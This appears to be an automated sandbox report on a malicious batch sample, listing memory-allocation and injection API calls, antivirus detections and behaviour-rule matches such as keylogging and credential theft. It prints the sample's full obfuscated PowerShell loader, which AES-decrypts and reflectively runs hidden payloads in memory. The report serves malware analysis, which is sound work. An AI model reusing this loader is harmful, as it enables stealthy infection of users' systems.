protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04791000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04792000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04793000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04794000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Widgets.bat
Avast Other:Malware-gen [Trj]
AVG Other:Malware-gen [Trj]
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Steal credential rule local_credential_Steal
description Match Windows Http API call rule Str_Win32_Http_API
description Communications over P2P network rule Network_P2P_Win
description Match Windows Inet API call rule Str_Win32_Internet_API
description Escalate priviledges rule Escalate_priviledges
description File Downloader rule Network_Downloader
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description Take ScreenShot rule ScreenShot
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Steal credential rule local_credential_Steal
description Match Windows Http API call rule Str_Win32_Http_API
description Communications over P2P network rule Network_P2P_Win
description Match Windows Inet API call rule Str_Win32_Internet_API
description Escalate priviledges rule Escalate_priviledges
description File Downloader rule Network_Downloader
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
cmdline "C:\Users\test22\AppData\Local\Temp\Widgets.bat.exe" -w hidden -c $XRwR='EnteKHcreKHcyPeKHcoieKHcnteKHc'.Replace('eKHc', '');$JXEu='GeteKHcCueKHcrreKHceneKHctPeKHcroeKHcceeKHcsseKHc'.Replace('eKHc', '');$VrxS='MeKHcaineKHcMoeKHcdueKHcleeKHc'.Replace('eKHc', '');$hmqz='TreKHcaneKHcsfoeKHcrmFeKHcinaleKHcBloeKHcceKHckeKHc'.Replace('eKHc', '');$CquX='SpleKHciteKHc'.Replace('eKHc', '');$qFmP='LeKHcoeKHcaeKHcdeKHc'.Replace('eKHc', '');$EtZB='CeKHcreateKHceDeKHcecryeKHcpeKHctoeKHcreKHc'.Replace('eKHc', '');$pXCM='CeKHchangeKHceeKHcEeKHcxteneKHcsioeKHcneKHc'.Replace('eKHc', '');$xgQY='FieKHcrseKHcteKHc'.Replace('eKHc', '');$xSKJ='FroeKHcmeKHcBaeKHcseeKHc64SeKHctrieKHcngeKHc'.Replace('eKHc', '');$PatU='IneKHcvokeeKHc'.Replace('eKHc', '');$TNPx='ReKHceadeKHcLeKHcieKHcneseKHc'.Replace('eKHc', '');function MvpiL($ktOmn){$YXOrJ=[System.Security.Cryptography.Aes]::Create();$YXOrJ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$YXOrJ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$YXOrJ.Key=[System.Convert]::$xSKJ('aX8cFQObeptl0Hc2tA0iQqDR9yEcFcjuIlC6FeX9Xos=');$YXOrJ.IV=[System.Convert]::$xSKJ('tojFzsW/v/Dm+adS5TQ3Mg==');$CCPCO=$YXOrJ.$EtZB();$cGSky=$CCPCO.$hmqz($ktOmn,0,$ktOmn.Length);$CCPCO.Dispose();$YXOrJ.Dispose();$cGSky;}function ivaas($ktOmn){$zolTr=New-Object System.IO.MemoryStream(,$ktOmn);$alxWJ=New-Object System.IO.MemoryStream;$yVdFW=New-Object System.IO.Compression.GZipStream($zolTr,[IO.Compression.CompressionMode]::Decompress);$yVdFW.CopyTo($alxWJ);$yVdFW.Dispose();$zolTr.Dispose();$alxWJ.Dispose();$alxWJ.ToArray();}$yjiqq=[System.Linq.Enumerable]::$xgQY([System.IO.File]::$TNPx([System.IO.Path]::$pXCM([System.Diagnostics.Process]::$JXEu().$VrxS.FileName, $null)));$DPSuV=$yjiqq.Substring(3).$CquX(':');$UWCTr=ivaas (MvpiL ([Convert]::$xSKJ($DPSuV[0])));$bpToC=ivaas (MvpiL ([Convert]::$xSKJ($DPSuV[1])));[System.Reflection.Assembly]::$qFmP([byte[]]$bpToC).$XRwR.$PatU($null,$null);[System.Reflection.Assembly]::$qFmP([byte[]]$UWCTr).$XRwR.$PatU($null,$null);
cmdline C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Widgets.bat
Process injection Process 2056 resumed a thread in remote process 2144
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 2144
1 0 0